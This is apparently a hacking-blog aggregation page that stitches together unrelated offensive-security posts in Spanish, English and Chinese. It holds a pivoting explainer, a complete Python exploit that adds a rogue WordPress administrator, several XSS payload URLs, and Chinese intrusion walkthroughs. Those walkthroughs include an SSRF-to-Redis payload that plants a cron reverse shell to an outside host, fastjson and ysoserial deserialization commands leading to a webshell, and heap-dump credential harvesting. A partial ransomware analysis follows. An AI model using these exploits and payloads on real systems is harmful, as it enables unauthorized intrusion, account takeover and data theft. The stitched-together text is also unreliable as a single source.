Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109811

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

¿Qué es el Pivoting?

Cuando comprometemos un equipo, mientras lo enumeramos, es probable que veamos que tenga acceso a otros equipos o incluso redes, que nosotros no tenemos acceso directamente.

Esto quiere decir, que tendremos que usar el equipo comprometido como «máquina de salto», para poder tener acceso a redes internas y otros equipos. Este proceso se puede repetir de forma recursiva.

Ejemplo gráfico:

pivoting 1

En esta imagen como vemos, de toda una red empresarial nosotros solo tenemos acceso a un equipo, el cual actúa de frontera entre la red interna y externa. Es a través de él, por el cual ejecutamos un pivoting para saltar a otro equipo, y repetimos el proceso, hasta llegar como vemos a un servidor crítico.

Básicamente, la metodología completa es la siguiente:

  1. Pivoting
  2. Enumeración Post-Explotación
  3. Explotación
  4. Vuelta al punto 1

En este aspecto, una vez hemos comprometido un activo, la enumeración para poder darnos cuenta de la existencias de otras redes o equipos variará en cada caso, sin embargo, si que hay ciertos patrones que se mantienen de forma general que podemos seguir.

Podemos empezar comprobando la caché ARP del equipo en busca de nuevas IPs, tanto en windows como en linux se puede ver mediante el comando arp -a.

Posteriormente, podemos echar un vistazo a los archivos hosts, la ruta de este archivo es la siguiente:

  • Linux –> /etc/hosts
  • Windows –> C:\Windows\System32\drivers\etc\hosts

En linux quizás también podría ayudarnos el archivo /etc/resolv.conf para descubrir servidores DNS. Una alternativa a este archivo es ejecutar el comando: nmcli dev show. Lo equivalente en windows sería usar el comando ipconfig /all.

También podríamos comprobar en Linux la tabla de routing, con el comando route -n o ip route. O ver si ya hay alguna conexión establecida con algún host con el comando netstat -auntp.

Por último, no olvidar comprobar las distintas interfaces de red que tenga el equipo:

  • Linux –> ifconfig, ip -4 addr, /proc/net/fib_trie
  • Windows –> ipconfig

En este punto, ya la enumeración adicional dependerá de cada caso, pero en lineas generales, ésto es lo común.

Una vez tenemos la información de a que equipos o red queremos llegar, la acción de hacer pivoting se puede llevar a cabo usando:

  • Herramientas preinstaladas en el equipo comprometido.
  • En caso de no tener, usar binarios estáticos de herramientas.

La diferencia entre un binario estático y uno dinámico es la compilación. La mayoría de programas hacen uso de librerías externas para su funcionamiento. El binario estático trae con la compilación estas librerías que requiere el programa, sin embargo, un binario dinámico las requiere del sistema operativo, esto quiere decir que necesitas que el sistema operativo tengas esas librerias, ya que sino no funcionará. Por lo que el binario estático te soluciona posibles problemas de dependencias.

  • Scripting.
  • Proxies.

Los proxies deben ser la última opción a usar, ya que éstos además de ser un poco lentos, suelen tener limitaciones sobre el tipo de tráfico que pueden transmitir, es decir, que por ejemplo, con un proxy TCP, no vas a poder hacer uso de tráfico UDP.

Ésto es todo en cuanto a que podemos usar para ejecutar pivoting.

Volviendo a la idea general del pivoting, hemos comentado mucho que su fin es acceder a otros equipos los cuales no tenemos accesos porque no están en nuestra red. Sin embargo, éste no es el único uso, el pivoting puede servirnos incluso para un equipo el cual ya tenemos acceso directamente.

Por ejemplo, puede que en ciertas ocasiones, un equipo no nos muestre todo los puertos abiertos que de verdad tiene, o que nos bloquee de distintas formas. Podemos en estos casos intentar hacer lo mismo pero a través de otro equipo de la misma red. Quien sabe si de la forma que está configurado, tiene una lista blanca de a que equipos bloquear o no X cosas.

Saber hacer pivoting también nos puede servir para mostrar externamente o tunelizar puertos que solo están abiertos de forma interna en la máquina, para así, poder interactuar desde fuera o desde nuestro equipo directamente.

Por eso mismo, el pivoting no solo es útil para acceder a otras redes, sino que también nos puede servir para interactuar con equipos de nuestra propia red.

#!/usr/bin/python
#
# Exploit Name: WP Marketplace 2.4.0 Remote Command Execution
#
# Vulnerability discovered by Kacper Szurek (http://security.szurek.pl)
#
# Exploit written by Claudio Viviani
#
#
#
# --------------------------------------------------------------------
#
# The vulnerable function is located on "wpmarketplace/libs/cart.php" file:
#
# function ajaxinit(){
#     if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
#	    if(function_exists($_POST['execute']))
#		    call_user_func($_POST['execute'],$_POST);
#	    else
#		    echo __("function not defined!","wpmarketplace");
#	    die();
#	  }
#}
#
# Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook).
# wpmp_pp_ajax_call() call functions by call_user_func() through POST data:
#
#         if (function_exists($_POST['execute']))
#             call_user_func($_POST['execute'], $_POST);
#         else
#         ...
#         ...
#         ...
#
# $_POST data needs to be an array
#
#
# The wordpress function wp_insert_user is perfect:
#
# http://codex.wordpress.org/Function_Reference/wp_insert_user
#
# Description
#
# Insert a user into the database.
#
# Usage
#
# <?php wp_insert_user( $userdata ); ?>
#
# Parameters
#
# $userdata
#     (mixed) (required) An array of user data, stdClass or WP_User object.
#        Default: None
#
#
#
# Evil POST Data (Add new Wordpress Administrator):
#
# action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator
#
# ---------------------------------------------------------------------
#
# Dork google:  index of "wpmarketplace"
#
# Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

banner = """
    ___ ___               __                                         
   |   Y   .-----.----.--|  .-----.----.-----.-----.-----.           
   |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|           
   |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|           
   |:      |                |__|                                     
   |::.|:. |                                                         
   `--- ---'                                                         
       ___ ___            __          __         __                  
      |   Y   .---.-.----|  |--.-----|  |_.-----|  .---.-.----.-----.
      |.      |  _  |   _|    <|  -__|   _|  _  |  |  _  |  __|  -__|
      |. \_/  |___._|__| |__|__|_____|____|   __|__|___._|____|_____|
      |:  |   |                           |__|                       
      |::.|:. |                                                      
      `--- ---'                                                      
                                                          WP Marketplace
                                                      R3m0t3 C0d3 Ex3cut10n
                                                         (Add WP Admin)
                                                             v2.4.0

                               Written by:

                             Claudio Viviani

                          http://www.homelab.it

                             info@homelab.it
                         homelabit@protonmail.ch

                   https://www.facebook.com/homelabit
                      https://twitter.com/homelabit
                    https://plus.google.com/+HomelabIt1/
           https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('--timeout', action="store", default=10, type="int",
                  help="[Timeout Value] - Default 10",
                  )

options, remainder = commandList.parse_args()

# Check args
if not options.target:
    print(banner)
    commandList.print_help()
    sys.exit(1)

host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

username = id_generator()
pwd = id_generator()

body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call',
                         'execute' : 'wp_insert_user',
                         'user_login' : username,
                         'user_pass' : pwd,
                         'role' : 'administrator'})

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

print "[+] Tryng to connect to: "+host
try:
    req = urllib2.Request(host+"/", body, headers)
    response = urllib2.urlopen(req)
    html = response.read()

    if html == "":
       print("[!] Account Added")
       print("[!] Location: "+host+"/wp-login.php")
       print("[!] Username: "+username)
       print("[!] Password: "+pwd)
    else:
       print("[X] Exploitation Failed :(")

except urllib2.HTTPError as e:
    print("[X] "+str(e))
except urllib2.URLError as e:
    print("[X] Connection Error: "+str(e))
            
source: https://www.securityfocus.com/bid/51156/info

Barracuda Control Center 620 is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

https://www.example.com/bcc/editdevices.jsp?device-type=spyware&selected-node=1&containerid=[IVE]
https://www.example.com/bcc/main.jsp?device-type=[IVE] 
            
source: https://www.securityfocus.com/bid/50921/info

The Pretty Link plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pretty Link 1.5.2 is vulnerable; other versions may also be affected. 

 http://www.example.com/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=[xss] 
            
source: https://www.securityfocus.com/bid/50910/info
 
Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com//elxis/administrator/index.php/%22onmouseover=prompt(dclabs)%3E 
            
source: https://www.securityfocus.com/bid/50910/info

Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/elxis/index.php?id=3&Itemid=9&option=com_content&task=%22%20onmouseover%3dprompt%28dclabs%29%20dcl%3d%22
            
source: https://www.securityfocus.com/bid/50906/info

Serv-U is prone to a denial-of-service vulnerability and a security-bypass vulnerability.

Attackers can exploit these issues to perform denial-of-service attacks or gain unauthorized access to the affected application.

Serv-U 11.1.0.3 and prior versions are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36405.zip
            
source: https://www.securityfocus.com/bid/50878/info

Hero is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Hero 3.69 is vulnerable; other versions may also be affected. 

http://www.example.com/hero_os/events?month=January.htaccess.aspx%22%3E%3Cscript%3Ealert%281%29%3C/script%3E 
            

0x00 前言

去年逛微步,本来是想找几个ip练练溯源能力,无意间发现了一个杀猪盘。本文打马赛克如果有漏的地方请及时指出,也请各位不要去微步上边找我这个目标复现,本case已全权交由某官方处理。

0x01 简单的打点

Image

打开链接一看,一股子浓浓的“微盘”气息扑面而来,由于我们自己审计过这套源码,所以就直接找对应的地方打了个xss,结果呢他这竟然是微盘三开,没错,三开!

无奈之下还是用老思路,想办法让框架报错,看版本号,走一遍rce。

Image

得到版本号和物理路径,其实还有个小细节,可以看下图。

Image

这里有个SERVER_NAME和SERVER_ADDR,之前打同类项目的时候遇到过一个情况,通过让页面报错反馈出来的这俩信息里可能会带着真实ip,如果在找不到目标真实ip的情况下可以试试这个小技巧。

大家都知道,这种目标,其他的旁站,端口什么的收集都没啥卵用,所以我也不赘述了。

注册个账号上去看了看,也没啥能利用的点,这时候呢突然想起了goods/pid这里有一处注入,由于之前都是用我们自己的day打,所以从来没用过这个注入点,这不今天就来试了试。

Image

bingo!这就很奈斯了,知道物理路径那不就可以传shell了?不,并不可以,权限不够。

但是你看我发现了啥呢!

Image

database的信息莫名其妙显示出来了,这不就可以直接连了??显然是不可以的,因为没法外连。。。。。

0x02 直冲云霄了属于是

大概僵持了十分钟,你看看我发现了啥。

Image

adminer哈哈哈,这是咋发现的呢,之前提到过这套系统的一开,二开我们都审计过,在某些特定目录会有这么一个adminer数据库管理系统,所以我就也从本次目标上fuzzing了一下,这不就找到,然后连接上了。

找到嫌疑ip,简单的查查真实性,定定位啥的。

Image

果不其然,又在我们的大云南。

为了确保证据的完整性,我们还是得想办法去后台截个图啥的。因为现在是在库里嘛,所以就可以直接把盲打xss没成功的地方强制改成了xss的payload,然后诱导客服去触发就好了。

Image

Image

Image

然后就进来咯,后台的上传点在三开版本也给删了,数据库里拿shell权限不够,也开启不了所需的服务,所以最终也没能拿下shell。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486198&idx=1&sn=e41bc5d7e4aee7314beaab7f5830435d&chksm=cf53ca40f8244356493dff79a82e26a8c3ef89c50c4508de61cacf523527534d383e6d6b2445&scene=178&cur_album_id=2831511688645656580#rd

主站注册可以发现jsp和php后缀共存,应该是不同路由反代了不同的中间件,找不到啥漏洞。

Image

论坛是Discuz! X3.2

Image

发现Discuz急诊箱。

Image

admin.php 403,uc_server和急诊箱均无弱密码。

在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞,那么前台漏洞呢?主要有任意文件删除,SSRF,uc_server爆破。

首先是任意文件删除。

POST /home.php?mod=spacecp&ac=profile&op=base

birthprovince=../../../info.php

Image

然后再POST文件上去,即可删除info.php

<formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data">    
<input type="file"name="birthprovince" id="file" />    
<input type="text"name="formhash" value="017b5107"/>     
<input type="text"name="profilesubmit" value="1"/>    
<input type="submit"value="Submit" /></from>

这个漏洞虽然危害不低,但对后续渗透没什么用,Discuz很难通过删除文件去install。

再看SSRF。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107

这是一个不回显的SSRF,只能通过时间延迟来判断。

一,可直接通过http去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟。

二,可以通过302跳转改变协议,ftp,dict,gopher都支持。

三,可以通过ftp协议来探测端口,如果端口开放则长延迟,如果端口关闭则短延迟。


先通过http协议访问我的VPS获取论坛的真实ip。

163.*. *.35.bc.googleusercontent.com(35.*.*.163)

然后尝试盲打本地redis(这里探测本地端口全关,认为不合理,所以直接盲打)

gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。

先看清晰的SSRF攻击payload

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107

然后302.php?data=之间的&要url编码,data=xx=1.png的所有字符串都进行两次url编码,去bp中发包。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107

但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。

Image

因此payload只能放在VPS中写死。

<?php

$ip=$_GET['ip'];

$port=$_GET['port'];

$scheme=$_GET['s'];

$data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a';

header("Location:$scheme://$ip:$port/$data");

测试一下打VPS上的redis能否成功

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107

Image

没问题。但实际环境中利用失败了,原因不确定,没有redis或者redis权限不够或者redis有密码都是有可能的。

开始写脚本探测内网,不过并未抱多大希望,其为谷歌云,并不一定有内网。

先生成所有内网ip的*.*.*.1的ip字典

f = open('ip.txt','w')

f.write('127.0.0.1')

f.write('localhost')

for i in range(1,256):

    ip = '192.168.'+str(i)+'.1'

    f.write(ip)

for i in range(16,32):

    for ii inrange(1,256):

        ip = '172.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

for i in range(1,256):

    for ii inrange(1,256):

        ip = '10.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

f.close()

然后通过时间延迟来寻内网ip段,这里由于ip不通的延迟长达7s以上,所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以,所以干脆直接使用gopher攻击redis的payload,万一直接打中了呢。

import requests
import threading
 
def ssrf(i):
    url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107'
    header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
          "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Accept-Encoding": "gzip,deflate",
          "Connection": "keep-alive"
          }
    cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"}
    r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False)
    if r.elapsed.total_seconds()> 6:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        print(timeout)
    else:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        fo = open('openip.txt','a')
        fo.write(str(i)+'open\n')
        fo.close()
        print(str(i)+'open')
        print(timeout)
 
def thread(list):
    name = []
    for i in list:
        th = threading.Thread(target=ssrf,args=(i,))
        name.append(th)
        th.start()
    for th inname:
        th.join()
 
folist = open('ip.txt','r')
list = []
flag = 0
for i infolist.readlines():
    i = i.replace('\n','')
    if flag <21:
        list.append(i)
        flag = flag+1
    else:
        thread(list)
        flag = 0
        list = []

只发现一个开放的网关172.30.2.1,再跑此网关上的内网ip,更换ip.txt即可。

Image

结果跑了一天只跑出两个内网ip,172.30.2.1和172.30.2.2,大概率172.30.2.2是它自己,172.30.2.1是云服务器的虚拟网关。

最后再用ftp协议跑它们的端口,脚本自己改改就行了。

Image

大部分都是误报,其实只开了80和443两个端口,所以除非之后发现其他内网ip,否则SSRF是不用指望了。

最后一个uc_server爆破,原理为改XFF头导致图形验证码固定,同样利用失败,详情见https://www.freebuf.com/articles/web/197546.html

论坛告一段落,接下来看看客服系统有啥问题。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f

id传参,无法目录穿越。文件上传无法利用,开始目录扫描。

Image

admin登录界面有滑块验证,不过是前端骗人的,后端没用到,尝试爆破无果。

看到/actuator,就知道是spring boot了,使用针对性字典爆破。

/swagger-ui.html为空,/env跳转admin,/heapdump 403。

但鬼使神差的我试了试/heapdump.json

Image

解压出来1G内存文件,使用MemoryAnalyzer将其打开,OQL查询。

由于没有/env配合,只能盲查配置信息,这里写一些我摸索出来的小技巧。

select* from org.springframework.web.context.support.StandardServletEnvironment

查配置,注意以Retained Heap(大小)排序,比较方便。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"

查含password的字符串,这种查法不易找出关联类,但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。

Image

select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))

快速查数据库相关信息,发现mysql地址账户密码,不过很遗憾是亚马逊的数据库,默认存在ip白名单,无法远程登录。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"

发现正在登录的session,替换之后登录到后台。

Image

后台使用wss协议进行实时对话,头像处,客服回复处均无利用点。只发现了一些毒狗的哀嚎。

Image


黑盒测试无果,heapdump中翻找有特征的类名,然后去github搜,发现了一份可能是初始版源码,目标用的是改版,源码不太全。

Image

对不全的代码进行审计,找到一处任意文件读取和一处SSRF。

Image

Image

Image

有了部分源码,知道配置文件位置,读取配置文件

Image

获取数据库配置,当然之前在heapdump内存中已经知道了。获取内网ip,172.x.x.x,写脚本开始跑内网ip,脚本参考Discuz那个。

Image

同理,后续用ftp协议扫描内网端口。不过很可惜,java ssrf一般不支持dict和gopher,论坛和客服又不在同一内网,所以很难攻击内网比如redis。

前面一直没提的是,此客服系统存在管理员后台,不过存在ip白名单限制,访问403,虽然能利用SSRF绕过,但是由于只能发起GET请求,无法尝试登陆。

Image

这两处漏洞依旧无法getshell,我决定去fofa上搜同版本客服系统,然后利用任意文件下载来获取完整的源码。

很幸运,直接碰到一个网站可以读.bash_history,在操作记录中暴露了源码路径,获得war包。


Image

开始审计,SQL方面使用的是jpa1.11.6,基本不存在注入问题,但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml,找到两处使用$的地方。

ScacMapper.xml

Image

经典的mybatis order by注入。位于ScacRepository类的findRule方法,全局搜索调用了此方法的地方。

Image

发现不可控,再看第二处。

ChatMapper.xml

Image

位于AgentService类的findChatService方法,全局搜索。

Image

satislevel参数可控,网站中寻找路由,发现是用来查询历史会话的。

Image

/service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage=

Image

SQL注入成功,不过是个布尔盲注,注入较耗时间。


然后发现fastjson版本较低,于是瞄上了fastjson反序列化。

Image

全局搜索parseObject方法,路由中发现两处。IMControllerApiContactsController

IMController虽然在前台,但涉及到AES解密和定位key,利用起来较为复杂。

Image

所以决定利用ApiContactsController的save方法。

Image

由于通过heapdump登录过客服后台,直接访问save的路由,却尴尬的发现报401

Image

很显然,客服后台和这个接口不在同一体系,但密码应该是通用的,猜测这些接口是给手机app用的,heapdump中曾获取了用户名,于是在ApiLoginController中找到登录接口,开始爆破。当然,也可以利用之前审计出来的SQL注入,不过实在太慢而且不一定解的出来我就先爆破了。

Image

Image

成功获取凭证,访问路由。

Image

这里是个联系人接口,查用GET,增用PUT,改用POST,删用DELETE,只有改才会调用fastjson。所以直接POST fastjson payload就行。

fastjson 1.24以上版本默认关闭autotype,但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。

https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg

{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}}

Image

成功获取dnslog请求,接下来就是用fastjson反序列化getshell就行了吗?

事情并没有那么简单,之前通过heapdump在内存中看到java版本为1.8.0_242,那么rmi和ldap两个JNDI注入都无法使用,这和实际用marshalsec测试结果一致。本地加载有两种方法,org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过,但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在实际环境中却没能成功。

我在此处被拦了几个小时,最后发现存在rmi反序列化,链为URL链。注意:rmi注入恶意类和rmi反序列化是不一样的。


rmi注入恶意类(marshalsec),是连接rmi服务器,rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。
rmi反序列化(ysoserial),是连接rmi服务器,在和rmi服务器通信的过程中被反序列化攻击了。无版本限制,只需要反序列化链。


如下图,恶意服务器上起一个ysoserial的rmi服务,然后用fastjson去连接之。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn"

Image

成功获取dns请求,那么我只需要找到一条能够利用的反序列链,就能够getshell。
spring项目一般来说,很难有一条序列化链,因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链,而源码中的jar包满足条件。

Image

详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w


先尝试向/tmp中写文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ=="
然后利用任意文件读取确认文件是否被写入。

Image

尝试写webshell,成功getshell

Image

由于其存在负载均衡,可以拿到两台服务器权限,至此渗透完毕。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MTU1MjE5Mg==&mid=2247488972&idx=1&sn=b97d4e2da7059409cb05fe4238f9dbb7

本文會分析一種名為BabLock(又名Rorschach)的勒索軟件,它與LockBit有許多共同的特點。

最近,一種名為BabLock(又名Rorschach)的勒索軟件因其複雜而快速的攻擊鏈而引起轟動,該軟件使用的技術非常有創新性。雖然主要基於LockBit,但也汲取了其他不同勒索軟件部分的功能,並最終組合成為BabLock(檢測為Ransom.Win64.LOCKBIT.THGOGBB.enc)。 LockBit現在已經開始第三次迭代。

我們會在本文中詳細介紹它的攻擊鏈,並分析其可能的起源。

發現過程2022年6月,研究人員發現了一個勒索軟件(後來被證明是BabLock),它使用了一種獨特的附加擴展方式,而不是勒索軟件攻擊中通常使用的“一個樣本,一個擴展”方法,我們發現,攻擊者在針對這種特定感染的固定勒索軟件擴展的頂部添加了從00-99的數值增量。因此,即使在一台受感染的計算機上,一次執行也可能產生多個擴展變體。

1.png

該勒索軟件的獨特特徵是顯示擴展的數值增量

調查發現,勒索軟件總是以多組件包的形式部署,主要由以下文件組成:

加密的勒索軟件文件config.ini;

惡意側載DLL (DarkLoader, config.ini解密器和勒索軟件注入器);

用於加載惡意DLL的非惡意可執行文件;

使用正確密碼執行非惡意二進製文件的CMD文件。

2.png

在一個感染實例中發現的主要勒索軟件包

DarkLoader DLL將檢查特定的命令,特別是--run,它會檢查啟動加密過程所需的正確的4位密碼。雖然它對config.ini本身的內容的解包意義不大,但如果提供正確,DLL將執行基本的勒索軟件例程。

3.png

如果在命令行中添加了正確的密碼,勒索軟件將繼續進行整個加密過程

一旦DLL組件被非惡意可執行文件加載,它將立即在當前可執行文件的路徑中查找config.ini文件。一旦找到它,DLL將解密config.ini,然後用一組特定的命令行執行notepad.exe。

在這個異常的活動中,研究人員發現了一些顯著且一致的模式:

主要的勒索軟件二進製文件通常以加密的config.ini文件的形式發送;

DarkLoader是通過使用合法可執行文件的DLL側加載來執行的;

config.ini文件由專門為這些活動設計的自定義加載程序解密(檢測為Trojan.Win64.DarkLoader);

在同一受感染的計算機中,BabLock為每個文件的擴展名字符串附加一個從00到99的隨機數(例如,extn00-extn99作為同一感染中的擴展名);

任何DarkLoader DLL都可以用來解密任何加密的勒索軟件config.ini,不需要特定的二進製配對。

DarkLoader DLL使用Direct SysCall API來選擇幾個但重要的調用,以避免API讀取分析。解密後的BabLock勒索軟件總是使用VMProtect進行反虛擬化。

BabLock是通過掛鉤API Ntdll的攻擊注入加載的。 RtlTestBit跳轉到包含勒索軟件代碼的內存。

針對不同攻擊的密碼有幾種變體,但它們都在一定的範圍內。

4.png

提供給notepad.exe的命令行參數,用於在最近的攻擊中加載和執行勒索軟件

5.png

